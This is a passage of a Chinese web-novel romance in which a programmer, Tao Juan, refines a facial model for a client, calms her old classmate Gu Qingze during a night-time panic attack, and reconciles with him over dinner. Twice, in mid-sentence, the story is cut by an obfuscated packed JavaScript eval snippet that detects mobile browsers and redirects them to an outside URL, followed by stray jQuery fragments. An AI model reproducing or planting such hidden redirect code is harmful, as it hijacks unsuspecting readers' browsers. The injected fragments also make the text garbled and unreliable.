“是啊!”陶涓捏一捏自己酸痛的脖子,“可惜这些医院不愿意开放数据库。” 就像她跟嘉嘉她们解释的,喂的数 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陶涓把医院复印的病例分类摊在地毯上,一个一个看过,重新在数据库里分类,有些病人会带参考照片,目标非常明确,但却不一定实际;有些病人带来的参考照片风格差异非常大,还有人只提出模糊的要求,没有具体参照。 她又翻看一遍嘉嘉的照片,打电话给她,要她多发来些照片,最好从小到大每个年龄都有三到五张。 至于近照,最好是黑粉拍的照片,不加滤镜,没有挑角度和光线,这时更有参照性。 她说了要求,很快嘉嘉的经纪人就发来一堆照片。 陶涓打印出照片,一张张铺在地毯上,和嘉嘉上次手术时拍的面部CT来回参照,不知不觉又忙活了两小时,顾清泽来看过几次,还给她送了杯牛奶,她站在门口喝了一半又把杯子给他,怕洒在满地病例和照片上。 “我再看一会儿就好,我好像摸到灵感的大门了……” 顾清泽并没催她赶快去睡,“好。我在我房间,你要我帮忙就叫我。药吃了吗?” 他知道陶涓现在处于兴奋的状态,大脑在高速转动,这种状态下是不可能睡着的。只有当她找到解决方法,才会从这种状态走出。 她确实是摸到灵感的大门了。 再次调整模型参数后,终于成功模拟出一张嘉嘉的脸,比现在的她更漂亮,更甜美,更自然。 陶涓满意地笑了,“这简直就是把爸妈基因优点最大化后的自然妈生脸啊!” 她放下笔电,准备明天再进一步修改,先收拾一下病例。 站直之后她才感到颈项腰背没有一处不是酸麻的,抬头时关节“咔咔”轻响,她伸了几个懒腰,坐在地毯上收拾病例,病例叠成两摞后她一点也不想工作了,像块煎饼似的躺在地毯上,按下午瑜伽教练教的那样扭几下酸疼的腰,再摊开四肢来个极度放松的大摊尸式。 朦朦胧胧的,她好像听到有人呼唤她,可她一点也不想动,手脚都像被埋在沙子里了。 她短暂地做了个梦,梦中回到小时候和爸妈去连城的海滩,那是她第一次看到大海,海滨浴场的太阳伞那么大,她从没见过那么大的伞,还有金灿灿的沙子,手埋在沙子下面,凉凉的,抬起手,金色的细沙就从手背和指缝里流下来,在夕阳下闪着碎金一样的光,晚霞把一半海水染成粉紫色,另一半依然湛蓝透明,镶着一道雪白的边向岸边卷动。 她躺在床上,舒服地伸展四肢,想把手塞在枕头下面,却摸到一只温暖的手,她缓缓睁开眼睛,是顾清泽,他拉着被子一角正要往她身上盖。 陶涓坐起来,“我睡着了?” “嗯。”顾清泽没有动,任由她继续按着他的手。 她渐渐清醒,松开他的手,不太自然地咳嗽一声,他忽然笑了,接着夸张地检查自己的衣服是否整齐,又夸张地大呼一口气——毫无疑问,他是在模仿他们第一次见面时她醉酒醒来后的样子! 她咬唇憋笑,但是憋不住,又窘又气恼,“喂——那时候我们是第一次见面的陌生人,我那反应不正常吗?” 顾清泽也在忍笑,“那现在呢?” “现在当然不一样。” 他追问,“哪里不一样?”话出口之后立刻后悔,但又怀着一丝隐秘的期望,他不敢再直视她,微微垂眸,可很快又忍不住抬眼看她。 台灯淡金色的光照得他双眸清澈如琥珀,羽扇般的睫毛向下一垂遮住眼神,可他立刻又抬眼,眸光闪烁,幽暗难明,陶涓心脏猛地一缩后扑通扑通乱跳,她忍住要用手按在心口的冲动,大义凛然说:“现在咱们是老铁。北市的叫法是铁瓷。” 大肥章送上。大家等文的时候可以去我专栏里翻翻,《错先生》是同系列的文 31.梦魇 铁子?铁瓷? 其实都和朋友是同义词。 顾清泽想要的不是同义词。 早知道会失望,可期望破灭时还是会心里酸涩。 他看着没心没肺的陶涓,觉得胸腔里某个器官突然被灌了一大口青柠苏打,咕嘟咕嘟冒着气泡。 其实很早以前他就领悟到一个沉痛的事实,尽管他从来都被人众星捧月,尽管从来都没人拒绝他,尽管从来都是别人想讨好他——但是,在陶涓这里,从来不是这样。 有些时候她甚至不会第一眼看到他,还有时候她甚至会忘了他的存在。 入学第二年的春天,她和周测闹别扭。 他不知道他们之间发生了什么,情形究竟有多糟糕,只知道她那阵子闷闷不乐。 有一天,他看到她陪着她妈妈去机场,她们在学校西门外的机场大巴站等车,她还是那副忧心忡忡的样子,他也不知道自己当时怎么想的,也许是担心,也许还有点好奇,很可能还怀着不可告人的希望,他跟着上了车。 从学校到机场的路程那么长,他管不住自己,总忍不住向后看,几次之后,她妈妈发现他,还对他微笑致意,可她一直没发现他。 她抱着妈妈一条胳膊靠在她肩上,这样子让他觉得很新奇,有点像个小女孩。 她在他面前从来都表现得成熟可靠,在拥挤的香港机场和其他人多的地方,她甚至会因为担心他们会走散主动伸手牵住他。 到了机场,她终于在妈妈的提醒下看到他。 他谎称自己来送人,她心不在焉,就那么接受了这个拙劣的谎话。 他们一起坐大巴回学校,一路上她还是郁郁寡欢,不怎么说话,有时闭上眼睛,可也没在睡觉。 到了学校,宿舍很快要关门,路上几乎没有其他行人,他陪她走到宿舍门前,她忽然露出一丝释然,像是终于决定放下什么,她对他微笑,刚要说什么,那丝笑容却凝固住。 他顺着她的目光回头望去,周测捧着一束花站在路灯下,深情而倜傥,仿佛一位王子。 他看着她向周测走过去,知道那刚刚差点被放下的东西又被她重新珍重收藏。 她和周测相拥,接过那束花用力拍在他胸口,他说了句什么,他们再度拥抱。 那一刻,在陶涓的世界,顾清泽是不存在的。 顾清泽想到她刚才认证的,他们是队友,是冠军,是朋友,是棋逢对手,在滨市叫老铁,在北市叫铁瓷……心里不由又一阵酸楚。 这世间的事就是这么不公平。 要是她先遇到的是他而不是周测,事情会不会有不同? 这样的假设没有意义。 顾清泽辗转反侧,难以入睡。他学着陶涓的样子把一只手放在枕头下面。 再次回忆刚才的情形,他不能确定自己的认知是否真实,似乎,陶涓在听到他的问题后有一瞬间的慌乱。 也许,她对他的感受正在发生变化? 又或者,她发现了他的隐秘心思…… 不,很可能她其实看过那封电邮,只是装着不知道他的心思。 所以她才坚持要搬走。 因为和一个喜欢自己,自己又不喜欢的人在一起住着太尴尬了! 不然为什么从前她和他在酒店里住了一周多并不介意,现在突然说起什么“寄人篱下”的话了? 他猛地坐起来,僵坐了一会儿站起来漫无目的走动。 她要搬走…… 她不想和他共处一室。 她意识到他对她另有心思,所以要和他拉开距离! 心跳急速而紊乱,越是深呼吸越是喘不过气,后背不知哪里有根肌肉在抽搐,像是被冻到了,可脖子和脸又在冒汗。 他走出卧室,在起居室继续乱走,绕着沙发走了几圈后理智渐渐回来,他走到酒柜前倒了杯白兰地,也没加水,就那么灌下去,一团辛辣火热从喉头直冲胃部,又从胃底升到喉咙。 他躺在沙发上,等这团火慢慢熄灭,他告诉自己,慕而不达,则衷心藏焉。 继续做她的朋友。 即使是这样也已经够幸运了。 并不是每个人都能遇到一个和自己志趣相投,又高度契合的……朋友。 这天晚上陶涓睡得不太好。 可能是睡眠被打断后再入睡有困难,也可能是别的原因,她半梦半醒间恍惚觉得自己悬浮着,仔细感受,又觉得是有人抱着她。 真是迟钝。为什么被人从一个地方抱到另一个地方会毫无知觉? 在方舟连轴转赶工时她常在办公室突然昏厥似的睡着,可一有人走近她就会惊醒,她一直认为自己警觉性很高,别人也都这么想的。 学生时代和同学们一起出门,所有人都默认她是“守护者”,贵重物品交给她帮忙保管,路线行程要她去预定,大家睡觉时她负责看行李,到达之前她会叫醒所有人做好准备——不,也不全对。 从波士顿飞回北市时,她上飞机不久后就睡着了,一直睡到在香港落地,等她睁开眼睛,前排的乘客已经下飞机了。 还有,大三那年暑假,去山区的爱心活动,绿皮火车只有开动时才有风扇,闷热得像罐头盒,她居然也睡了一整夜才醒,醒来时舌尖还残留那不知名的果子的滋味,那么酸的果子,睡了一觉后倒有一点点回甘。 陶涓翻来覆去,睡意不知去哪儿了,干脆摸出手机骚扰她的好闺蜜:要是你和某个人在一起时总能睡得像头吃饱喝足的猪,意味着什么? 本来没指望曹艺萱会回复的,谁知她在等拍戏,正无聊呢,秒回—— 我世上唯一的小宝贝:很可能这个人让你觉得无聊透顶,存在感像空气。 我世上唯一的小宝贝:这人是周测吗? 我世上唯一的小宝贝:这货是不是想趁人之危求你跟他复合呀?千万别搭理他。 陶涓回复:啊我不会跟他复合的。我已经不是当年那个轻易被美色所惑的颜狗了! 然后又补充:不是周测。 她想了想,和周测交往时她很少有睡得不知天地为何物的时候。 可能是觉得和他在一起的时间都是挤出来了,格外需要珍惜,不管是在实习医生宿舍等他还是在悠然居,只要他一进门她就会立即醒来。 她最后坚决地搬出去也是因为长久如此,她的睡眠质量太糟,白天不靠咖啡续命形如僵尸,喝多了咖啡肠胃又不舒服。 她出神的时候曹艺萱又发来两条消息。 我世上唯一的小宝贝:快说,你说的人是谁? 我世上唯一的小宝贝:刚才我是胡扯的。我是担心你又要跟周测在一起才那么说的。只有一个人让你有安全感,又让你信任,你才会完全放松,随时睡着啊。[得意叉腰]你跟我在一起不就这样? 陶涓愣住。 是这样吗? 倒还真是。 只是曹艺萱没法那么轻松地公主抱她。 她握住手机,慢吞吞打了几个字又删除,重新打了几个字,想了想,又删掉。 我世上唯一的小宝贝:我上戏了![亲亲亲]明天中午见。 陶涓嘱咐几句,把手机扔到一边,抱着被子躺了一会儿,忽然无来由地想起那天在曹艺萱家,她惊慌失措跳到茶几上,顾清泽抱她逃出魔窟,当时在惊恐之下忽略的细节一一浮现,他先是像抱小孩子那样把她从茶几上抱下来,后来又横抱着她去门厅开门。一点也不费力,十分轻松就换了个姿势。 她脸颊一阵发烫,可仍忍不住想:他刚才把她从客厅抱过来时,是怎么抱的?也是这样? 像铲一滩烂泥一样先把她从地上“铲”起来? 啊……那天在曹艺萱家她怎么会完全没注意他怎么抱她的呢? 啊啊啊……为什么现在要追究这个!都过好几天了! 嗯……可是,刚才他又抱了她一次呀…… 哦哦,在波士顿的时候,她中了他的奸计连喝两杯长岛冰茶醉倒,也是他抱她去睡的? 天哪——她那时候怎么那么迟钝呢? 她越是告诉大脑:别纠结了!忘了!太窘了…… 大脑就偏偏丢给她更多细节信息。 好不容易终于睡着,她又朦胧听到有人在痛苦呻吟。 仔细分辨了一会儿。她确认自己不是在做梦。 这叫声像被捂在棉被里,也可能是痛叫的人在极力压抑。 陶涓披上件毛衣走出卧室,循着断断续续的叫声推开顾清泽卧房的门,果然是他! 房间里只有从纱帘穿过的微光,他躺在起居室的沙发上,像在用后背抵挡寒冷似的弓着背,紧紧抱着一个靠枕,把脸埋在里面,喉咙里发出的声音像一只受伤的野兽在低吼,又像忍耐着极度的疼痛在呻吟。 她吓了一跳,立即去找灯,在黑暗中撞到了不知是茶几还是什么,“咚”一下撞到膝盖,幸好台灯的轮廓还算明显,她摸索着找到开关,调亮房间的灯光,再跑回他身边轻轻拍他肩膀后背,“顾清泽……” 他睁开眼睛,可是眼神涣散,她搓热两手,再去揉搓他后背,“没事了,没事了……” 她反复摩挲他后背,他的呼吸渐渐放慢,她小声说,“别怕,你看,有灯。” 他额头全是冷汗,“嗯,有灯。” 茶几上没有纸巾盒,陶涓拽着自己毛衣袖子给他擦擦汗,像安慰受惊的小动物那样轻轻摸摸他后颈,“你做噩梦了?” 他缓慢地眨一眨眼睛,“嗯……很黑。” “现在梦已经醒了,也不黑了,没事了。”他一定是在这里睡着了,做了噩梦后惊醒,发现一片漆黑惊恐发作。 陶涓继续一下一下摸他后颈安抚,“你想喝水吗?” 他突然又警觉起来,紧紧攥住她手腕,已经放松的肩背又紧紧绷起,像只背毛全炸开的猫咪,“你别走。” “我不走。”她坐在地毯上,两手绕在他肩上,轻轻拍他后背。 他转动身体,抬头看看她,把头靠在她肩膀上,额头贴着她脸颊,无意识轻轻重复:“你别走……”像梦呓又像哀求。 “好,我不走。你没事了,没事了……”陶涓反复安抚,暗暗叹口气,有点庆幸自己刚才没睡着。 第一次看到顾清泽惊恐发作时陶涓吓得不轻。 寒假刚开始,他们参加了一个科研小项目。她是为了履历更好看,他嘛,可能纯粹觉得好玩。 一天下午她和他一起去实验楼,这座老旧教学楼的电梯总是出问题,这天也是倒霉,电梯运行到一半突然卡住,然后照明短路,一片漆黑。 陶涓摸出手机,找电梯按键上的求助按钮,按了几次只有铃声没有回应,“我靠,刚放假就没人了?” 更糟的是手机也没信号,她打了几次电话想叫同学帮忙,也拨不出去。 她问顾清泽,“你手机还有多少电?”她手机电量很低。 他没回答,缩在电梯一角,急促喘息。 陶涓起初还笑,“滚!少逗我!” 她以为他要恶作剧吓唬她,装个僵尸啊,恶鬼附体什么的,没想到借着手机微弱的光,看到顾清泽全身颤抖着蜷缩在地上,呼吸越来越急促,额头全是汗。 她这下真被吓到了,一边大声呼救,一边安慰他,“没事,没事!我们很快就能出去了!” 她把包扔地上乱翻一阵,找到一个塑料袋,因为紧张得手抖,好不容易才打开折成三角的塑料袋,放到他脸前让他从袋子里呼吸,他稍微好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299981|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,紧紧抓着她胳膊,像个小孩子一样哀求,“别走……” “我不走!”她向他保证,顺势搂着他,像给小猫小狗捋毛一样轻抚他后背,她这么做纯粹是出于本能,没想到竟然奏效,他的呼吸渐渐重新平稳,只是身体还会发抖,好像很冷。 不久之后他们得救,走出电梯很久之后顾清泽的手还是冰冷。 他后来告诉她,他不是幽闭恐惧症,是怕黑。他不仅怕黑,也怕太安静。 陶涓这才想起,在波士顿的酒店,他的房间每晚都亮着灯。 原来是这样。 她有点怀疑他搞的那些“派对”是不是为了抵抗“太安静”,也好奇他怎么会对黑暗和安静产生恐惧,可她没有追问。 父亲去世后有几年时间她和妈妈都害怕坐车、害怕交通灯,突然的喇叭声和刹车声也会让她如惊弓之鸟。 顾清泽的害怕,一定和她一样,源自一段极为痛苦的回忆。 “没事了,你看,我打开灯了。”她再次轻轻抚摩他后背,“一切都好了。来,我们慢慢起来,去睡吧。” 他“嗯”了一声,顺着她的力道站起来,被她领进卧室,乖乖躺在床上。 他合上眼睛,又睁开,“你去睡吧。我没事了。” 她坐在床尾,“我待会儿就去睡。” 陶涓等顾清泽呼吸均匀平静后悄悄离开。 第二天早上六点多她就醒了,做了煎蛋烤了吐司,等到八点还没看到顾清泽,去他房间一看,人竟然不在! 午休时陶涓去了附近几个超市,终于在一家小商店里买到她想要的东西。 这一整天顾清泽也没动静,平时他总会问一下她工作顺利吗,午饭吃了什么,提醒她吃药,去上瑜伽课…… 今天却一直很安静。 到了吃晚饭的时间,顾清泽还没回来,陶涓直接视频通话打给他,他很快接通,看起来还在太平的办公室。 她还没去参观过他办公室呢,据说是太平位置最好的一间办公室,有两面景观。 “我今晚会做独家西班牙海鲜汤!”她宣布,然后对他笑,“我请你!” 他原本一天郁郁寡欢,看到她的笑脸也不由自主微笑,听到她的话先点了点头,然后才反应过来,“哦。好的。需要我带什么来赴宴吗?” “选一瓶酒吧,你比较懂这个。” “好。” 结束通话后,他又不免自怨自艾,那种样子又给她看到了…… 她大概永远会把他当一个小弟弟,小朋友…… 他靠在椅背上,蹬一下地,椅子轻轻向后滑动,他两只脚翘在桌沿上,枕着双臂发呆。 章秀钟吹着口哨推门走进来,“你这间办公室有整幢大楼最好的窗景。” 顾清泽无所谓,“你随时可以跟我换。” 章秀钟歪着头打量他,“这么好的窗景,你还是这副不高兴的样子,怎么了?谁又惹你了?前几天还春风得意,容光焕发呢。” “我没有不高兴。” “嘁!”章秀钟嗤笑一声,“让我猜猜,陶小姐拒绝你了?” 顾清泽疲惫地合上眼睛,“什么拒绝?拒绝什么?” “拒绝和你继续住在一起,拒绝你的示好,拒绝你的试探、挑逗……” 他还能源源不断说下去,顾清泽打断他,“行了,行了。见好就收吧。” 章秀钟这下惊讶了,“她真的拒绝你了?我去!难怪李唯安跟她合得来,这真不是一般女人……” 他又好奇,“她怎么拒绝你的?委婉的‘我们永远是朋友’那种?”一看顾清泽表情,“真的啊!她——她为什么——她还喜欢砂糖医生!不是,他俩不是分手了吗?藕断丝连?唉呀,难怪,难怪她对达西先生也不假颜色呢,因为心有所属,情有独钟……” 顾清泽抓起一张便笺团成一团朝章秀钟扔过去。 章秀钟接住纸团,笑呵呵的,“你发疯去搅黄人家相亲那勇气哪儿去了?还要让我再说一遍?管她喜欢谁呢,哪怕她结婚了,哪怕有孩子了,哪怕孩子七八个了,只要你喜欢她,你就去追她啊!” 顾清泽心里一阵一阵翻腾,最终丧丧地说了句,“是我配不上她。” 章秀钟被这话里的凄苦无望吓了一跳,皱着眉同情地看了顾清泽一会儿,走到他身旁按按他的肩,低声道:“那个……我一个朋友,认识一位很好的男科医生……” “滚!”顾清泽哭笑不得,“你瞎想什么?” 章秀钟这次可没开玩笑,他老早就觉得顾清泽那方面可能有点问题,二十八九岁了,没交过一个女朋友。 家里碎嘴的亲戚们哪能没有讨论。这时总会再提起他小时候被绑架的事,接着又会训斥家里的男人们恪守男德。 “喂,我认真的。有时候不是生理问题,是心理,也会……呃,你懂的。”他真诚地说,“我那个医生真的不错,他也认识很靠谱的心理医生,我待会儿把他名片推给你。” 心理医生。 顾清泽笑了。 十岁之后他看过很多心理医生。但是,无法建立信任,自然也无法治愈。 再大一点,他拒绝再看医生,家人也无法再勉强他,父亲因此更加痛恨四叔,兄弟们每次见面都咬牙切齿。 那一年,他原本已经要去MIT念书,父亲听说四叔投资了那边的几个项目,立即决定换大学,让他去北市。北市非同寻常,四叔也不敢在这样的地方策划什么“意外”什么“车祸”。 其实他不怕四叔。只是无法向父亲解释。 去就去吧。 谁知道,他还没去北市,就遇见了她。 可是,命运好像打定主意要折磨他,安排他遇见她,然后,就不管了。 32.另一种魔法 这天傍晚顾清泽特意去酒庄认真选了瓶酒。 他选的是一瓶普罗旺斯的桃红葡萄酒,陶涓做的海鲜饭没有放番红花,但香味浓郁,和这瓶带果味清香的酒很搭。 她举起酒杯闻一闻,“好香!”然后夸张地做个邀请姿势,“我的独家海鲜饭绝不会辱没这瓶酒。” 顾清泽故意说,“要试试才知道。” 她很自信,“曹艺萱嘴巴那么刁都喜欢得不得了。你也一样会被我征服!” 他尝了尝,味道真的不错。 她得意,“怎么样?是不是很好吃?” “嗯。我被征服了。” 她笑着举起酒杯浅啜一口,“酒也很好喝。” 这顿饭他们吃得很慢很慢。 她跟他说自己白天都做了什么,工程进展到哪里,孟霄果真又帮她找到几个兼职工,她分配了些工作给他们,如果这几个人能力不错又能稳定兼职,项目可以提前一周完成,接下来就给嘉嘉做模拟测试,可能还要找申悦明参谋一下…… 她问他最近除了赚钱忙什么,他实话实话,说在做一个大型无人运输机项目,去年年末找到了合适的测试基地,如果一切顺利,也许在几个月后可以试飞。 其实正事聊得不多,有一搭没一搭的废话反而挺多。 饭还没吃完,那瓶酒就喝完了。 陶涓看到顾清泽眉梢眼角因为微醺淡淡泛红,笑意盈然,不由呆了呆。 “怎么了?”他不解,她明明很高兴,可这时眼睛里又有点忧思的样子。 她微微摇了下头,痛快地喝完杯里最后一点酒,“没什么。就觉得……你一直有点喜怒无常。” 他皱了皱眉,竟像是有些惊讶,“我?喜怒无常?” 陶涓微笑着摇头,然后又点点头。她想,她可能也有点醉了。 大学那次他惊恐发作,接下来的几天特别黏人,总想让陶涓陪着,她也确实不太放心,可是天下没有不散的筵席,寒假开始两周后,快要过年了,他们的小组项目也快完成了,顾清泽却跟她说他不想回家,问她能不能也不回家,留在北市。 这当然不行。 他跟小孩儿似的发了顿脾气——这次倒没敢又跑去酒店开乌烟瘴气的party,只是突然撂挑子,不来实验室了。 陶涓指望这个项目能给自己的履历加分,耽误不起进度,只得连他那一份也做。 为了让学生们不用太早赶去机场和车站,宿舍楼在这段期间昼夜不锁门也不熄灯,陶涓连着两三天早出晚归,每天在实验室熬到深夜,总算没让进度拉下。 有天晚上,九点多了,她回宿舍洗了澡又返回实验室,没想到顾清泽来了,乖乖坐在桌前焊芯片。 她刚想阴阳他几句,他抢在她能开口前先示好,塞给她一盒生巧克力巴结。 于是这事就算过去了。 过年回家前大家约好尽量提前返校,争取开学前完成项目。 可最终许多人因为各种各样的理由没能如约回来。 陶涓倒是提前返校。去了实验室,空荡荡的,其他小组都还没开张。 她反而高兴,这意味着她的小组能最先完成,就能最早用仪器进行测试。 可她的项目组也只回来两三个人,一个不幸挂了科,心思不在这儿。 返校第二天是2月14号,那天晚上,她和周测去约会,回来后又回到实验室。 这天晚上,偌大的实验室只有她一个人。 她做了一会儿有点犯困,去厕所用冷水洗了把脸,走回实验室就乐了——顾清泽回来了!正在那儿焊芯片呢! 他陪她赶工,做到深夜,送她回宿舍,一切都好好的,谁知道第二天上午,她等了半天他才来实验室,鼻子不鼻子脸不是脸的,跟吃了枪药似的。 中午她叫他一起去吃饭,他冷淡地说还不饿,让她和其他人先去。 傍晚周测来接她吃饭,她再次问他要不要一起去,他冷哼一声绕着她走开,故意跟烦人的计英彦交谈。 从这天起,直到项目完成,顾清泽的心情阴晴不定,时不时就阴阳怪气她几句,更搞笑的是,有时候上课讨论或者完成小组作业,他总要跟她别苗头,她提出的他要反对,哪怕明知她是正确的,他也要设法诡辩几句。 他们项目领先其他小组完成后,顾清泽又莫名其妙好了,收起对她的攻击性。大家一切高高兴兴去学校东门外吃饭庆祝。 类似的事之前也发生过几次,每次陶涓都不得要领,好在过上一阵顾清泽就会转过劲。 陶涓猜测过,也给他设计过许多背后的理由,但怎么也没想到,人家少爷原来一直不觉得自己喜怒无常。 她举了当年这个例子,他才一脸恍悟,道歉,“对不起。” 然后他追问:“我那时候……是不是让你很讨厌?” 不等她回答,他又问:“如果不是校长让你关照我——如果,如果在波士顿,你没来找过我,后来在校园里遇到我,你会不会根本不想搭理我?” 陶涓手托着下巴,和他对视一会儿笑了,“你觉得呢?” 顾清泽讪讪。 “别说假设没有波士顿这一段,就是有,你总是这个样子——哦,这就叫喜怒无常——我常常不明白自己做了什么让你不高兴……啊,还有——”她用目光谴责他,“拉黑我?嗯?你是至今为止唯一一个拉黑我的!” 他买的这瓶酒只有13度,但这时她感到酒气上涌,脑袋一热说出了心里的想法,“你可能不知道,我被你拉黑之后还是担心你,我去你的公寓找你,可是……” 这么多年了,她还是觉得难过,“人去楼空。” “你一句话都没留,就那么走了。” “你的管家接过我还的门禁卡,像看傻瓜一样看我……” 陶涓重重呼气,她无意识地抠着桌布,顾清泽忽然伸过手,覆在她手上,“对不起。” 她一惊,他迅速缩手,食指指尖碰到她的指尖,他的手握成拳放在桌上,片刻之后才抬起眼注视着她,再次说,“对不起。” 他没想到她会回去找他。 他也不知道她回去过。 直至今日。 从她现在失落的神情上,他能想象得到她那时的难过,只能再一次跟她说,“对不起。” 陶涓嘿嘿冷笑,“你对我道歉,看起来歉意也发自内心,那你为什么还要做同样的事?” 顾清泽再次感到惊奇,“我……”我没有啊! 她轻轻颔首,“别否认。你今天一整个白天,又对我不告而别,不闻不问。” 他呆了一下,她说的似乎没有错。 “如果我是个多心的人,就会自己打包袱滚蛋,免得受人冷眼。”她淡淡加一句。 他急了,本能伸手要拉她手腕,手伸出去立即又觉得失态,再次放在桌上握成拳,那句差点脱口而出的“你别走”又咽回去,他辩解道:“那不一样。” 她不放过他,“哪里不一样?” 刚才吃下的食物和葡萄酒在胃里变成凉凉的一堆冰渣,那股绝望的凉气在整个胸腔摇荡,弄得他鼻子一阵阵发酸,他垂头看着面前的桌布,发现雪白的桌布其实在经纬之间织着花朵,像是玫瑰花蕾,仔细分辨后又无法确定。 他终于,向她坦承:“我不喜欢我昨晚那样子。非常不喜欢。我觉得,你也不会喜欢……不仅是不喜欢,是……厌恶。”所以他逃走了。 顾清泽的声音很低,低到只有他们两个人能听到,可陶涓的心脏像突然听到雷声那样重重地跳了两下。 她没想到他竟然会这么想。 哪怕刨除顾家显赫的身世,顾清泽也仍然是她见过的最优秀、最聪慧的人之一。 她一直以为他的喜怒无常是出于傲慢,太过以自我为中心——含着金汤匙出生的少年天才,确实有资格傲慢,也习惯了被所有人捧着,她没想到,他也会胆怯,不自信,退缩…… 她看着他,心脏被一种酸软的情绪占据。 他半垂着头,双眼隐藏在眉骨和高耸的鼻梁造成的阴影下,和他少年时垂首思索棋局的样子几乎一模一样,他一回来就解下领带,衬衫领口几颗扣子松着,喉结轻轻一动,似乎在艰难地咽下什么尖锐粗粝的东西,他两只手平放在洁白的桌布上,青色的血管从修长的手指根部延伸向手背、手腕,隐藏在解开的衣袖之下。 不用触摸就想象得到这双手充满了力量。 同样是这双正值人生巅峰的年轻男性的手,昨晚虚弱无助地缠在她肩上,挽着她的手臂,拉着她的双手。 陶涓轻声开口,“我们第一次再见的时候,我问你是不是来看我笑话……那些不是气话,我真这么想的——在一个35岁后要担心失业的行业,我32岁,被开除了,在北市没有房产,也没有多少积蓄,不仅如此,还病了,得的还是病愈后也没法像以前那样熬夜拼命赶进度的病……” 她不明白为什么自己说这些的时候会笑,那段日子现在想起来真可算她人生的谷底,“我从小一直是‘别人家的孩子’,学习好,懂事,拿了很多奖学金和荣誉,找到一份很不错的工作,亲戚朋友总是用我当例子教育他们的孩子……” “失业后,我一直没告诉我的家人,生病了,我也瞒着他们,哦,连和周测分手的事,我都没敢跟他们说。因为……我有点怕他们发现我和他们想象的、期待的不一样之后,会对我失望。” 顾清泽忽然抬起头,“他们现在还不知道你跟周测分手了?” 陶涓噗嗤一笑,“必须得知道啊,不然怎么会安排我去相亲?大年初一,我继父家有家宴,一个亲戚踢爆的,她和计英彦是同事,说计英彦看到周测去相亲,问我知不知道这事……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304400|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她现在回想,越觉得很可笑,问顾清泽,“你到医院看过我吧?” 她搬来酒店后才想起来,那时每天送去医院的菜式,应该就是半岛酒店那位擅长做粤菜的厨师做的。顾清泽还跟人家学会做肉丸粥。 他默认。 陶涓不禁叹气,“那你肯定看到我那时候的样子了?”她那时是真的狼狈到极点,晕倒时脑袋撞上花盆,出院后第一次洗头还能在头发里摸到几块被血凝固的土渣。 他再次默认。 “是不是蓬头垢面,贫病交加?像不像我们去山区送温暖时在农户家看到的那头骡子?”毛秃骨瘦,眼睛失去一切光泽,躺在地上,被蚊虫叮咬也懒得再甩尾巴驱赶,因为只是活着已经用尽它全部力气。 “那你见到我那副样子——”她看向他的双眼,声音微微发颤,“我现在再问你一次,当你在医院看到我那副样子,不再年轻漂亮,不再才华横溢,当我泯然众人,全身只剩下衰老和病痛……你会嫌弃,会厌恶我吗?” “不会!”顾清泽急得抓住她一只手,用力攥住,他如坐针毡,非常担心她不信他,可又不知道该怎么才能让她相信,一时间眼眶都红了,也只能再一次大声告诉她,“不会!不管你是什么样子,我绝对不会——从来不会嫌弃!” 看到她虚弱苍白的样子,他只会觉得心疼,只会痛恨在她身边照顾她的那个人不是自己,只会怨恨自己当年年少无知又怯懦无能。 陶涓眼眶酸涩,她咬着嘴唇点点头,笑的时候,眼泪终于还是没憋回去,倏然滴落,她抹了抹脸,继续对他笑,“我也一样。无论是年轻漂亮的你,意气风发的你,耍脾气的你 ,招人烦的你,还是在黑暗里和噩梦打架的你,都是你。你说你不会厌恶虚弱的陶涓,却不相信我从来也不会轻视那个顾清泽?” 胃里的冰渣子早就化为一滩春雨。 那瓶果酒入口缠绵,后劲却很足,让顾清泽有微微的眩晕感,他想对她说“我相信你”,可是吞咽了两下,却仍然无法出声,口鼻心肺全被一种巨大的幸福感充塞。 陶涓握拳放到他面前,“喂——” 她愿意是要跟他击拳,没想到顾清泽像是程序出了小bug,迷迷糊糊把她拳头握在手心晃了晃。 她又“喂”了一声,他才笑着松开她两只手。 这天晚上他们又下了棋,不过没有赌注,也不严肃,露台上吹来的风里带着融融暖意,混杂难以分辨的花草香味,虽然已经在高耸入云的建筑顶楼,却还隐约能听到人声和车声。 这次陶涓又输了,她看看时间,“来,我给你一件礼物。” 他很好奇,礼物? 她走在前面,走向他的卧室,推开门后并不进去,他就和她并肩站在走廊上等着,她轻轻说,“要有光。”忽然,壁炉旁的一盏台灯亮了。 “这不是什么魔法,也没什么科技含量……”她握住他的手,“我只是买了几个带定时器的插头安在台灯上。如果你觉得有用,我就再做点升级,智能化,让它可以和手机连接,可以做成全屋定制,也可以随身携带,这没什么难的……” 她还没说完,他用力拥抱她,“谢谢你,陶涓。” 陶涓不觉这有什么需要特别谢的,她拍拍他后背,“你可能没留意,我也没有提醒你,那天在我家——下大暴雨漏雨那天,停电了,你还记得吗?可你完全没事。你还过来找我。” 顾清泽恍然惊觉,是啊,确实是这样。 她退后一点,对他笑,“我当时觉得……”她抿紧唇,没再说下去。 她当时除了惊讶,还很意外。他并没征求她的意见,只对她说“抓紧我”就直接把她从桌子上抱下来,很快同样的情形再度发生,她看着一地蛇和老鼠惊恐万状,他也只是走过来,问她有没有受伤,接着就那么抱起她…… 那时因为恐慌和混乱没及时梳理的情绪现在变得分明。 